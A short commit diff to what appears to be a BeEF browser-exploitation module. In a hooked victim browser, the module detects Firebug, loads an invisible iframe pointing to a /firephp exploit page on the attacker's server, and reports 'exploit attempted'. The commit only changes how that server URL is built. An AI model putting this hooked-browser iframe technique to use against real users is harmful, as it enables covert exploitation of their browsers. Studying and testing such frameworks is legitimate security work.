Use beef.net for URI
This commit is contained in:
@@ -9,7 +9,7 @@ beef.execute(function() {
|
||||
// detect firebug
|
||||
if (window.console && (window.console.firebug || window.console.exception)) {
|
||||
var firephp_<%= @command_id %> = beef.dom.createInvisibleIframe();
|
||||
firephp_<%= @command_id %>.src = "<%= @beef_url %>/firephp";
|
||||
firephp_<%= @command_id %>.src = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + "/firephp";
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
||||
} else {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Module did not run. Firebug is not open in the hooked browser.");
|
||||
|
||||
Reference in New Issue
Block a user